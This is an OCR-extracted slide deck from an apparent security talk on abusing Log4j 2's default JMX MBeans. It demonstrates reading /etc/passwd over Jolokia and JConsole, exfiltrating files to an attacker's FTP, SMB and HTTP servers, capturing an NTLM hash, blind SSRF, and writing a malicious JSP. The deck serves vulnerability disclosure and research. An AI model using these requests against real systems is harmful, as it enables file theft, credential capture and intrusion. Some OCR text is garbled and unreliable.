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. The Vulnerabillity that Never Existed

Matei “Mal” Badanoiu




Before we Begin

Disclaimer: My
opinions are my
own

Warning: The
presentation may
contain traces of
humour
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Intro

* Reported to security@apache.com in 2023

— g e\ R o aNs:
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-~

* Not a vulnerability
* Patched:

e “...ourreview of this issue has convinced us that we should not register JMX
beans by default ...”


mailto:security@apache.com

E)(h | b it A. https://logging.apache.org/log4j/2.x/manual/jmx.html

apache.org
™
_ http://logging.apache.org
ices” LOGYJ
Logging Services
Last Published: 2023-12-22 = Version: 2.22.1 Logging Wiki @ | Apache ® | Logging Services | GitHub @

ﬁ APACHE LOG4J™ 2 JMX

About
ou Log4j 2 has built-in support for JMX. The StatusLogger, ContextSelector, and all LoggerContexts, LoggerConfigs and Appenders are instrumented with MBeans and can be remotely monitored and controlled.
Download
s 4 Also included is a simple client GUI that can be used to monitor the StatusLogger output, as well as to remotely reconfigure Log4j with a different configuration file, or to edit the current configuration directly.
uppo!

Maven, Ivy, Gradle Artifacts Enabling JMx

Release Notes
FAQ

Performance

JMX support is enabled by default. When Log4j initializes, the StatusLogger, ContextSelector, and all LoggerContexts, LoggerConfigs and Appenders are instrumented with MBeans. To disable JMX completely, and prevent these
MBeans from being created, specify system property log4j2.disableJmx to true when you start the Java VM.




Exhibit B.

. $ cat hello_log4j.java
import org. apache logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class hello_log4j {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
while (true) {
logger.info("Hello, World!");
}

$ javac -cp log4j-api-2.23.1.jar:logd4j-core-2.23.1.jar hello_log4j.java
2 $ java -Djava.rmi.server.hostname=1localhost -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=6666 -Dcom.sun.management.jmxremote.authenticate
_false -Dcom.sun.management. jmxremote.ssl=false -cp log4j-api-2.23.1.jar:log4j-core-2.23.1.jar: hello_log4j

B

Java Monitoring & Management Console

Connection Window Help

EJConsole. New Connection

\‘J New Connection

© Local Process:
Name
hello_log4j

sun.tools.jconsole.JConsole

Remote Process:

Usage




Exhibit B.

: S cat hello log4j.java
import org. apache logging.log4j.LogManager;
import org.apache.logging.log4]j.Logger;

public class hello log4j {
private static final Logger logger = LogManager.getlLogger();

public static void main(String[] args) {
while (true) {
logger.info("Hello, Worla!");

}




Exhibit B.

$ javac -cp log4j-api-2.23.1.jar:log4j-core-2.23.1.jar hello log4j.java
$ java -Djava.rmi.server.hostname=localhost -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=6666 -Dcom.sun.management.jmxremote.authenticate
false -Dcom.sun.management.jmxremote.ssl=false -cp log4j-api-2.23.1.jar:log4j-core-2.23.1.jar: hello_log4j

Java Monitoring & Management Console

Connection Window Help

@JConsoLe: New Connection

\‘C New Connection

© Local Process:
Name
ello_log4j
sun.tools.jconsole.JConsole




Exhibit B.

$ java -Djava.rmi.server.hostname=localhost -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=6666 -Dcom.sun.management.jmxremote.authenticate
=false -Dcom.sun.management.jmxremote.ssl=false -cp log4j-api-2.23.1.jar:log4j-core-2.23.1.jar: hello_log4j

Java Monitoring & Management Console
Connection Window Help
[Zj pid: 302574 hello_log4j

Overview | Memory| Threads| Classes | VM Summary| MBeans
> JMImplementation Attribute value
> Ccom.sun.management
; ;:x::figg ObjectName |org.apache.logging.log4j2:type=764c12bé
> java.util.logging
> jdk.management jfr
vjr%a;)::gez.éc;ggmglogﬂz MBeanAttributelnfo

« Attributes Name Value
Attribute
Status Name ObjectName
ConfigName Description Attribute exposed for management
ConfigText Readable true
ConfigLocationUri Writable fFalse
ConfigClassName Is false
ConfigFilter Type javax.management.ObjectName
ConfigProperties
Name
~ Operations
getConfigText
setConfigText
> Notifications Name
> Appenders
> @ ContextSelector
> @ StatusLogger

Name Value

Refresh

Descriptor




| Exhibit B.

Java Monitoring & Management Console _ O x
_ O
N\Beans ==
Artribute value
MName Value
ObjectMName lorg.apache.logging.log4j2:type=764c12b6

Refresh




| Exhibit B.

~ org.apache.logging.log4jz
~ Attributes

ObjectMame
Status
ConfigMame

ConfigText
ConfigLocationUri

ConfigClassName
ConfigFilter
ConfigProperties
MName
~ Operations
getConfigText
setConfigText
» Naotifications

= =] =l | —=| %




Exhibit B.

» JMIimplementation
» Com.sUn.management
» java.lang
> java.nio
» java.utillogging
» jdk.management.jfr
~ org.apache.logging.log4j2
~ @ 764c12b6
» Attributes
~ Operations
getConfigText

setConfigText
» Motifications
» Appenders
» @ ContextSelector
» @@ StatusLogger

Overview | Memory| Threads| Classes | VM Summary| MBeans

r )|
Java Monitoring & Management Console _ O x
Connection Window Help
pid: 302574 hello_log4j =S
==

Operation invocation

void

setConfigText | ( p1 aaaa , p2

utF-8

MBeanOperationinfo

Mame Value

Operation:

Mame setConfigText

Description Operation exposed for management
Impact UMNKMNOWMN

ReturnType void

Parameter-0:

MName p1

Description

Type java.lang.5tring

Farameter-1:




Exhibit B.

S java -Djava.rmi.server.hostnam

-

=false -Dcom.sun.management. jmxremote.ssl=false -cp log4j-api-
[Fatal Error] :1:1: Content is not allowed in prolog.

L

Connection Window Help
& pid: 302574 hello log4j







Intro 2.0 — Electric Boogaloo

* Reported to security@apache.com in 2023

o getContiglaxhl Siingans

* Not a vulnerability
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Log4]



Log4)

* Apache Log4j:

* |s aversatile, industrial-grade
Java logging framework

* Used by 8% of the Maven
ecosystem

* Listed as one of the top 100
critical open source software
projects

* The project is actively
maintained by a team of several
volunteers

* https://logging.apache.org/log4j/2.x/


https://security.googleblog.com/2021/12/apache-log4j-vulnerability.html
https://security.googleblog.com/2021/12/apache-log4j-vulnerability.html
https://docs.google.com/spreadsheets/d/1ONZ4qeMq8xmeCHX03lIgIYE4MEXVfVL6oj05lbuXTDM/edit#gid=1024997528
https://docs.google.com/spreadsheets/d/1ONZ4qeMq8xmeCHX03lIgIYE4MEXVfVL6oj05lbuXTDM/edit#gid=1024997528
https://docs.google.com/spreadsheets/d/1ONZ4qeMq8xmeCHX03lIgIYE4MEXVfVL6oj05lbuXTDM/edit#gid=1024997528
https://logging.apache.org/log4j/2.x/team.html

Log4) — For Hackers

e Too many functionalities
* Read Files
* Write Files
* JDBC Support
 Script Support (BeanShell, Nashorn/Rhino, Groovy, AppleScriptEngine)
e Automatically exposed MBeans via JMX
* Remote JNDI support (LDAP, RMI) — Log4) Pre-CVE-2021-44228



Old Log4J Attacks



Old JNDI Attacks

Can insert JNDI connections in several
components:

Pattern = JNDI Lookups
JDBC - Data Source 2 jndiName
JMS = providerURL

Protections:

Secure Parameters:

¢ log4j2.enableJndiLookup=true
e log4j2.enableJndildbc=true
e log4j2.enableJndiJms=true

Secured JndiManager:

¢ Prevents LDAP/RMI connections
e Allows only local or “java:” protocols



LOO ku p _l N D| Requres “log4j2.enableJndiLlookup=true”

<?xml version encoding ?>
<Configuration status name packages
<Appenders>
<File name fileName
<PatternLayout>
<Pattern>

</Pattern>
</PatternLayout>
</File>
</Appenders>
<Loggers>
<Root level >
<AppenderRef ref
</Root>
</Loggers>
</Configuration>




\Y oulseemisomewhat famile’i'ar.' Have | threatened you before?




Data SO u rce ”j n d | N a m e” Requires “log4j2.enablelndildbc=true”

<?xml wversion encoding
<Configuration status

<Appenders>
<JDBC name >

<DataSource jndiName
</JDBC>
</Appenders>
</Configuration>




_l I\/I S “ p rOV| d e r U R |_” Requires “log4j2.enableJndiJms=true”

<?xml version encoding
<Configuration status name >
<Appenders>
<JMS name destinationBindingName
factoryBindingName
factoryName
providerURL
<JsonLayout properties
</JMS>
</Appenders>
<Loggers>
<Root level >
<AppenderRef ref
</Root>
</Loggers>
</Configuration>




Current Log4] Attacks



Log4]) — Attacks

* Interesting MBeans:
* Functions:
» setConfigText(String, String)
e getConfigText(String)
 Attributes:
* ConfiglLocationUri — Read/Write
e ConfigText — Read Only



Log4]) — Attacks

» Attacks target by modifying the Log4J runtime configuration

* Possible Attacks:
* Read Arbitrary Files:
* Point to file with “ConfigLocationUri”
* Read contents with “ConfigText” or “getConfigText(String)”
* Write Files:
* Point “ConfigLocationUri” to malicious remote config
* Or change config directly using “setConfigText(String, String)”
* Leverage other functionalities:
* Script Engines
* JDBC Connections



Reading Files



!
3t =

YoU IIIST HAVENT HIIIHII THE RIGHT FILE YET




Reading Files

* Steps:
e Step 1: Point to file with “ConfiglLocationUri”
* Step 2: Read contents with:
e “ConfigText”
» “getConfigText(String)”

* What can we read?
* Local Files
* Remote files
« FTP
* SMB (Only Windows Environment)
* Protection Against Reading over HTTP (a.k.a. Blind GET SSRF)



Read Local Files



Read Local Files (FILE://,
JAR://)

Jolokia — Change ConfiglLocationUri

POST /api/jolokia HTTP/1.1

Host: 127.0.0.1:8161

Authorization: Basic YWRtaW4d6YWRtaWd=
Origin: a

Content-Length: 141

{
lltype“ . llwrite"’
"mbean": "org.apache.logging.logd4j2:type=2b9%9627bc",
"attribute":"ConfigLocationUri",
"value":"file:///etc/passwd"




Read Local Files (FILE://,
JAR://)

Jolokia — Read Resulting ConfigText

Content-Length: 4026

{"request": {"mbean":"org.apache.logging.log4j2:type=2b9627bc", "type" :"read"}, "value": {"S
tatus":"STARTED", "ConfigClassName":"org.apache.logging.log4d4j.core.config.xml.XmlConfigur
ation","ConfigLocationUri":"file:\/home\/guest\/Desktop\/Apache ActiveMQ\/apache-
activemg-

5.17.3\/bin\/Default@R2dasb3af", "ConfigName":"Default@2da5b3af", "ConfigProperties": {"host
Name" :"tester", "contextName":"2b9627bc"}, "ConfigText" :"root:x:0:0:root:\/root:\/bin\/bas
h\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin
\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\ /sy
nc\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/m
an:\/usr\/sbin\/nologin\nlp:x:7:7:1p:\/var\/spool\/1lpd:\/usr\/sbin\/nologin\nmail:x:8:8:
mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/n
ologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\
/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-
data:\/var\/www:\/usr\/sbin\/nologin\n***TRUNCATED** *

","Name":"2b9627bc", "ObjectName": {"objectName" :"org.apache.logging.logd4j2:type=2b9627bc"
},"ConfigFilter":"null"},"timestamp":1674216011, "status":200}




Read Local Files (FILE://,
JAR://)

Jolokia — Read Resulting ConfigText

ation", "ConfigLocationUri":"file:\/home\/guest\/Desktop\/Apache ActiveMQ\/apache-
activemg-

5.17.3\/bin\/Default@2dabb3af", "ConfigName":"Default@2dabb3af", "ConfigProperties":{"host




Read Local Files (FILE://,
JAR://)

Jolokia — Read Resulting ConfigText

Name" :"tester", "contextName":"2b9627bc"}, "ConfigText":"root:x:0:0:root:\/root:\/bin\/bas
h\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin
\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sy
nc\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/m
an:\/usr\/sbin\/nologin\nlp:x:7:7:1p:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:
mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/n
ologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy: \
/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-
data:\/var\/www:\/usr\/sbin\/nologin\n***TRUNCATED***

","Name":"2b9%9627bc", "ObjectName": {"objectName" :"org.apache.logging.logd4j2:type=2b9627bc"




JConsole — Change ConfiglLocationUri

I Read Local Files (FILE://,
JAR://

Java Monitoring & Management Console - o
Connection Window Help
[£]127.0.0.1:9999 [
Overview Memory Threads Classes VM Summary | MBeans ==
» JMImplementation Attribute value
: comsurtw.management Name Value
, JF;?JZT:FC]QOF ConfigLocationUri |File:///etc/passwd
» java.nio Refresh
» java.util.logging
» jdk.management.jfr MBeanAttributelnfo
R Name Value
» org.apache.commons.pool2 Attrbute.
» org.apache.derby ktribute: - - -
» org.apache.james Name ConfiglocationUri
~ org apache logging (0042 Description Attribute exposed For management
v 75h84cgo ‘ - Readable true
+ Attrbutes Writable true
Name Is False
Status Type java.lang.String
ConfigLocationUri
ConfigText
ConfigName
ConfigClassName
ConfigFilter
ConfigProperties
ObjectName
» Operations
» Notifications
» Appenders
»  ContextSelector
4 StatusLogger




JConsole — Read ConfigText

I Read Local Files (FILE://,
JAR://

Java Monitoring & Management Console S &
Connection Window Help
[£]127.0.0.1:9999 I ]
Overview Memory Threads Classes VM Summary MBeans =
» JMImplementation Attribute value
 comsnmneement [iame
b java.lang ConfigText [rook:x:0:0:root: /root: /bin/bashdaemon:x:1:1:daemon: fusr/sbin: fusr/sbin/nologinbin:x: 2: 2:bin: /bin: fusr/s...
» java.nio Refresh
» java.util.logging
» jdk.management.jfr MBeanAttributelnfo
P metrics Name Value
» org.apache.commons.pool2 Attribute:
» org.apache.derby LErbue: -
» org.apachejames Name ConfigText
~ org.apache.logging.log4j2 Description Attribute exposed For management
v 75b84cod ' - Readable true
- Attributes Writable False
Name Is fFalse
Status Type java.lang.String
ConfiglLocationUri
ConfigText
Confighlame
ConfigClassName
ConfigFilter
ConfigProperties

ObjectName
» Operations
» Notifications
» Appenders
» ContextSelector
» StatusLogger




Read Remote Files — FTP://



| Read Remote Files (FTP://)

JConsole — Change ConfiglLocationUri

| £:| Java Monitoring & Management Console - pid: 4240 hello_log4 — O ot
|£:| Connection Window Help - =] ®
Overview Memory Threads Classes WM Summary MBeans ==
FH- | | IMImplementation - Attribute value
-- COM.5UN.management Name Value
[+ | java.lang _ )
._ java.nio ConfiglocationUri fto: {imal:somepass @192, 168.6.129: 212 1/exfil, txt
@ java.utillogging Refresh
-- jdk.management.jfr
=- ' org.apache.logging. log 42 ~MBeanAtiributeInfo
E}ﬂlg;at;iiig Mame Value
-Name Attribute:
. ObjectMame Mame ConfigLocationUri
- Status Description Attribute exposed for management
.ConfigText Readable true
-..ConfigFilter Writable true
--ConfigClassMame Is false
- Confighame Type iava.lang.5tring
----- ConfigProperties




I Read RemOte Flles (F P//) JConsole — Change ConfiglLocationUri

- Attribute value
Mame Value
ConfigLocationUri fto: /imal:somepass@192. 168.6, 129: 212 1/exfil. txt I

Refresh




Read Remote Files (FTP://) Attacker's FTP Server

A S cat exfil.txt
Exfil this file
S ip a
1: lo: <LDDPB%CK UP,LOWER UP> mtu 65536 gdisc nogueue state UNKNOWN group default glen 1086
linkflnopback 00 00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.06.0.1/8 scope host lo
valid 1ft forever preferred 1ft forever
inet6 ::1/128 scope host
valid 1ft forever preferred 1ft forever
: ens33: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1588 gdisc fgq _codel state UP group default glen 1060
link/ether @0:0c:29:7b:8c:51 brd ff:ff:ff:ff:ff:ff
altname enp2si1
inet 192.168.6.129/24 brd 192.168.6.255 scope global dynamic noprefixroute ens33
valid 1ft 1304sec preferred 1ft 1304sec
inet6 feB0::52b7:7fe6:e82:6777/64 scope link noprefixroute
valid 1ft forever preferred 1ft forever
: docker®: <BROADCAST,MULTICAST> mtu 1500 gdisc noqueue state DOWN group default
llnkfether 02:42: ﬂ? 9d:6e:d3 brd ff:ff:ff:ff:ff:ff
B S python3 -m pyftpdlib -u mal -P somepass
concurrency model: async
masquerade (MNAT) address: None
passive ports: None
=>> starting FTP server on 0.0.0.0:2121, pid=309613 <<=«
192.168.6.176:50181-[] FTP session opened (connect)
192.168.6.176:50181-[mal] USER 'mal’' logged 1in.
192.168.6.176:50181-[mal] RETR /home/guest/Desktop/Log4]/exfil.txt completed=1 bytes=16 seconds=0.801
192.168.6.176:50181-[mal] FTP session closed (disconnect).
192.168.6.176:50183-[] FTP session opened (connect)




Read Remote Files (FTP://) Attacker's FTP Server

S python3 -m pyftpdlib -u mal -P somepass
concurrency model: async
masquerade (NAT) address: None
passive ports: None
»>>> starting FTP server on 0.0.0.0:2121, pid=309613 <<<

192.168.6.176:50181-[] FTP session ﬂpened (connect)
192.168.6.176:50181-[mal] USER 'mal' logged 1in.
192.168.6.176:50181-[mal] RETR /home/quest/Desktop/Log4]/exfil.txt
192.168.6.176:50181-[mal] FTP session closed (disconnect).
192.168.6.176:50183-[] FTP session opened (connect)




Read Remote Files (FTP://) Attacker's FTP Server

5 cat exfil.txt

Exfil this file




Read Remote Files — SMB
(FILE:////)



DID SOMEONE SAY ...




Read Remote Files (SMB,
FILE:////

JConsole — Change ConfiglLocationUri

4] »Javi i er lhost -Dcom.sun.man .7 mote -Dcom.sun.

Om. SUn.m ment. jn 0 icate=false -Dcom.sun.mar .jmxremote.ssl=fals
re-2 .jar; hello_ j

| £+ Java Menitoring & Management Console - pid: 4240 hello_logdj — O >

[ Connection Window Help

Overview Memory Threads Classes WM Summary MEBeans .—.ﬁ:.
- IMImplementation Attribute value
*- | com.sun, management Name Vol
- java.lang ConficLocationl
+ fava.nio onfiglocationUri 192, 163.6. 129'\malexfil. txctl
+ - | java.util.logging Refresh
- jdk.management.jfr
= ., org.apache.logging.log42 MBeanAttributeInfo
-1 2ame9190 Name e
- Attributes
-Mame Attribute:
—ObjectMame Mame ConfiglocationUri
Status Description Attribute exposed for management
-ConfigText Readable true
--ConfigFilter Writable true
--ConfigClassMame Is fEﬂSE .
~Confighame Type liava.lang. String
S onfiglocationUri
----- ConfigProperties




JConsole — Change ConfiglLocationUri

I Read Remote Files (SMB,
FILE:////)

- Attribute value

Mame Value

ConfiglocationUri I‘L‘Ll'EIE_'. 168.6. 129%mal\exfil. txt ‘

Refresh




JConsole — Change ConfiglLocationUri

I Read Remote Files (SMB,
FILE:////)

- Attribute value
Mame Value
ConfigLocationUri \| fle: 171192, 168.5. 129 /mal fexil. bet l
Refresh




Read Remote Files (SMB,
FILE:////

Attacker’s Malicious SMB

$ ip a
1 Lo <LOOPBACK UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
1ink/100pback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever
inet6 ::1/128 scope host
valid_1ft forever preferred_1ft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:7b:8c:51 brd ff:ff:ff:ff:ff:ff
altname enp2si1
inet 192.168.6.129/24 brd 192.168.6.255 scope global dynamic noprefixroute ens33
valid_1ft 1671sec preferred_1ft 1671sec
inet6 feB80::52b7:7fe6:e82:6777/64 scope link noprefixroute
valid_1ft forever preferred_1ft forever
3: docker®: <BROADCAST,MULTICAST> mtu 1500 qdisc noqueue state DOWN group default
11nk/ether 02:42: 07 9d:6e:d3 brd FF:Fr:-FE:FP:FR:FF
$ sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py mal .
Impacket v0.9. 24 - Copyright 2021 SecureAuth Corporation

Config file parsed

Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
Config file parsed

Config file parsed

Config file parsed

Incoming connection (192.168.6.176,50161)

AUTHENTICATE_MESSAGE (WIN-NG3T89A1DR9\Administrator,WIN-NG3T89A1DR9)
User WIN-NG3T89A1DR9\Administrator authenticated successfully

] Administrator::WIN-NG3T89A1DR9:aaaaaaaaaaaaaaaa:asb76
44005800470044007600710057006900020010006800540045007a006
000880bf1c48d5b41e689d76411d4245a3528308bF2567b6fda3295403

00000000000000

00
00
00




Read Remote Files (SMB,
FILE:////)

Attacker’s Malicious SMB

: S sudo python3 fusr/sharefdoc/python3-impacket/examples/smbserver.py mal .
Impacket v@©.9. 24 - Copyright 2021 SecureAuth Corporation

Config file parsed
Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.
Callback added for UUID 6BFFDO98-A112-3610-9833-46C3F87E345A V:1.
Config file parsed

Config file parsed

Config file parsed

Incoming connection (192.168.6.176,50161)

AUTHENTICATE_MESSAGE (WIN- HE3T89H1DR9\Hdmlnlgtratur WIN-NG3T89A1DR9)
User WIN-NG3T89A1DR9\Administrator authenticated successfully
Admlnlztratmr HIH NG3T89A1DR9:aaaaaaaaaaaaaaaa:asb76

)
)
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HTTP Server-Side Request
Forgery
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HTTP SSRF — Blind GE

Attacker’s Malicioius SMB

| £ Java Monitoring & Management Console - pid: 4240 hello_log4

|£| Connection Window Help

Overview Memory Threads Classes VM Summary MBeans

- | IMImplementation - Attribute value
-- COM.5UN. management Name Value
#- | | java.lang _ _
_, java.nio ConfiglocationUri htto: /{192, 168.6. 129:3000 /exfil, txt?test=ssrfl
-- jawva.util.logging Refresh
- jdk.management.jfr
[ | org.apache.logging.log4j2 - MBeanAttributelnfo
-} [ 23329190
= E--At;;:utes Mame Yalue
-Name Attribute:
.ObjectMName Mame Configlocationlri
- Status Description Attribute exposed for management
- ConfigText Readable true
CﬂﬂﬁgFlItEr Writable true
-ConfigClassMame Is Talse :
- Confighame Type java.lang.5tring
----- ConfigProperties




H P SS R F - B | | n d G E Listening HTTP Server

S cat exfil.txt

Exfil this file

S ip a
1: lo: fLDDPBA[h UP,LOWER _UP> mtu 65536 qdisc noqueue state UNKNOWN group default gqlen 1000
linkflsﬂpback ﬂﬂ 00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid 1ft forever preferred 1ft forever
ineté ::1/128 scope host
valid 1ft forever preferred lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc fq codel state UP group default glen 1000
link/ether 00:08c:29:7b:8c:51 brd ff:ff:ff:ff:ff:ff
altname enp2sil
inet 192.168.6.129/24 brd 192.168.6.255 scope global dynamic noprefixroute ens33
valid 1ft 903sec preferred Lft 903sec
inet6 feB0::52b7:7fe6:e82:6777/64 scope link noprefixroute
valid 1ft forever preferred 1ft forever
3: docker®: <BROADCAST,MULTICAST> mtu 1500 gdisc noqueue state DOWN group default
llnkfether 02:42: ﬂ? 9d:6e:d3 brd ff:ff:ff:ff:ff:ff
S python3 -m http.server
Serving HTTP on 9.0.0.0 port 8000 (http://0.0.0.0:8000/)
192.168.6.176 - - [29/Apr/2024 22:48:51] "GET Jexfil.txt?test=ssrf HTTP/1.1" 200 -




| HTTP SSRF — Blind GE g 1o ead TS respons

|2y Operation return value

Jjava.lang.NullPoilnterException

at org.apache.logging.log4].c




HTTP

SSRF — Blind GE e e

[£: Operation return value

java.lang.NullPointerException

at
at
at
at
at
at
at

org.apache.logging.logd]j.core. jmx.LoggerContextiAdmin. getConfigText (LoggerContexXxtAdmin. java:168)
java.base/jdk.internal.reflect.NativeMethodhccessorInpl. invoke( (Hative Method)
jJava.base/jdk.internal.reflect.HativeMethodlccessorImpl. invoke (HativeMethodlccessorImpl. java: 62)
java.base/jdk.internal .reflect.DelegatingMethodiccessorImpl . invoke (DelegatingMethodbiccessorInpl . java:43)
java.base/java.lang.reflect . Method. invoke (Method. java:566)
sun.reflect.misc.Trampoline. invoke (MethodUcil. java:71)
jdk.internal.reflect.GeneratedMethodicces=sors.invoke (Unknown Source)







P SSRF — Blind GE

<ScriptArbiter>

<ScriptFile language

Log4) XML configuration -
ScriptFile Example




P SSRF — Blind GE o o

<?xml version encoding ?>
<Configuration name status monitorInterval
<Appenders>
<Select>
<ScriptArbiter>
<ScriptFile language

charset
<Console name >
<PatternLayout pattern />
</Console>
</ScriptArbiter>
<DefaultArbiter>
<List name
</List>
</DefaultArbiter>
</Select>
</Appenders>
<Loggers>
<Logger name additivity
<AppenderRef ref
</Logger>
<Root level >
<AppenderRef ref
</Root>
</Loggers>




HTTP SSRF — Blind GET

guest@worker01: ~/Desktop/Log4J

guest@worker01: ~/Desktop/Log4.J 94x28
GNU nano 6.2 ssrf.xml

</Logge
Wrote 25 lines

e Help @ Write Out QY Where Is @l Execute Qe Location
R4 Exit Ml Read File B\ Replace a8 Justify Wi Go To Line
guest@worker01: ~/Desktop/Log4J 94x28
- $ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)

127.0.0.1 - - [106/May/2024 13:39:45] "GET /script_ssrf.xml HTTP/1.1" 200 -
127.0.0.1 - - [106/May/2024 13:39:45] "GET /?test=script_ssrf HTTP/1.1" 200 -

SSRF is made even if scripts
are not supported and the
application throws
exceptions

guest@worker01: ~/Desktop/Apache_ActiveMQ/apache-activemqg-5.17.3/bin

2024-05-10 13:39:45,621 qtp1271084832-39 DEBUG Loaded configuration from http://127.0.0.1:8000
/script_ssrf.xml
2024-05-10 13:39:45,624 qtp1271084832-39 DEBUG Starting LoggerContext[name=5ae63ade, org.apach
e.logging.log4j.core.LoggerContext@17503f6b] with configuration XmlConfiguration[location=http
://127.0.0.1:8000/script_ssrf.xml]...
2024-05-10 13:39:45,624 qtp1271084832-39 DEBUG Apache Log4j Core 2.19.0 initializing configura
tion XmlConfiguration[location=http://127.0.0.1:8000/script_ssrf.xml]
2024-05-10 13:39:45,625 qtp1271084832-39 DEBUG PluginManager 'Core' found 130 plugins
2024-05-10 13:39:45,625 qtp1271084832-39 DEBUG PluginManager 'Level' found © plugins
2024-05-10 13:39:45,626 qtp1271084832-39 DEBUG Building Plugin[name=Arbiter, class=org.apache.
logging.log4j.core.config.arbiters.SelectArbiter].
2024-05-10 13:39:45,628 qtp1271084832-39 DEBUG Builder()
2024-05-10 13:39:45,628 qtp1271084832-39 DEBUG Building Plugin[name=Arbiter, class=org.apache.
logging.log4j.core.config.arbiters.ScriptArbiter].
2024-05-10 13:39:45,633 qtp1271084832-39 DEBUG ScriptArbiterS$Builder(, Configuration(ConfigTes
t), Node=ScriptArbiter)
2024-05-10 13:39:45,634 qtp1271084832-39 DEBUG Building Plugin[name=ScriptFile, class=org.apac
he.logging.log4j.core.script.ScriptFile].
2024-05-10 13:39:45,636 qtp1271084832-39 DEBUG createScript(name="null", language="Whatever",
path="http://127.0.0.1:80002?test=script_ssrf", isWatched="false", charset="UTF-8")
2024-05-10 13:39:45,652 qtp1271084832-39 ERROR Unable to invoke factory method in class org.ap
ache.logging.log4j.core.script.ScriptFile for element ScriptFile: java.nio.file.FileSystemNotF
oundException: Provider "http" not installed java.lang.reflect.InvocationTargetException

at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke@(Native Method)

at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessor
Impl.java:62)

at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethod
AccessorImpl.java:43)

at java.base/java.lang.reflect.Method.invoke(Method. java:566)

at org.apache.logging.log4j.core.config.plugins.util.PluginBuilder.build(PluginBuilder
.java:138)

at org.apache.logging.log4j.core.config.AbstractConfiguration.createPluginObject(Abstr




SSRF is made even if scripts
HTTP 5SRF —Blind GE e

exceptions

2024-05-10 13:39:45,621 qtpl1271084832-39 DEBUG Loaded configuration from http://127.0.0.1:8000
[script_ssrf.xml

2024-05-10 13:39:45,624 qtpl271084832-39 DEBUG Starting LoggerContext[name=5ae63ade, org.apach
e.logging.log4j.core.LoggerContext@l7503f6b] with configuration XmlConfiguration[lecation=http
://127.0.0.1:8000/script ssrf.xml]...

2024-05-10 13:39:45,624 qtpl271084832-39 DEBUG Apache Log4]j Core 2.19.0 initializing configura

2024-05-10 13:39:45,634 qtpl12710684832-39 DEBUG Building Plugin[name=5ScriptFile, class=org.apac
he.logging.log4j.core.script.ScriptFile].
2024-05-10 13:39:45,636 qtpl271084832-39 DEBUG createScript(name="null"”, language="Whatever”,
path="http://127.0.0.1:8000?test=script_ssrf”, isWatched="false", charset="UTF-8")
2024-05-10 13:39:45,652 qtpl271084832-39 ERROR Unable to invoke factory method in class org.ap
ache.logging.log4j.core.script.ScriptFile for element ScriptFile: java.nilo.file.FileSystemMNotF
oundException: Provider "http" not installed java.lang.reflect.InvocationTargetException

at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke®(Native Method)

at java.base/idk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessor




SSRF is made even if scripts
HTTP 5SRF —Blind GE e

exceptions

R guest@worker01: ~/Desktop/Log4) 94x28
- S python3 -m http.server
000 (http://0.0.0.0:8000/)

- [10/May /2024 13:39:45] "GET [fscript ssrf.xml HTTP/1.1" 280 -
- [16/May /2024 13:39:45] "GET /?test=script_ssrf HTTP/1.1" 200 -




Writing Files



Writing Files

* 2 Modes:
* Continous Write:
e Simple
* Good for files that do not have a strict structure that require an end
e E.g.: JSPs, SSH Authorized Keys, cron scripts, ETC.
* LogRotate:

* Only write what is necessary = Archive File = Only write what is necessary
— Repeat

e E.g.: XML files
* Write Files over SMB



Caveman Continous Write
Mode

<?xml version encoding
<Configuration status name
<Appenders>
<File name fileName
<PatternLayout>
<Pattern>
<! [CDATA[

</Pattern>
</PatternLayout>
</File>
</BAppenders>
<Loggers>
<Root level >
<AppenderRef ref
</Root>
</Loggers>
</Configuration>

packages

XML Configuration — Write
Malicious JSP



Caveman Continous Write
Mode

<File name fileName
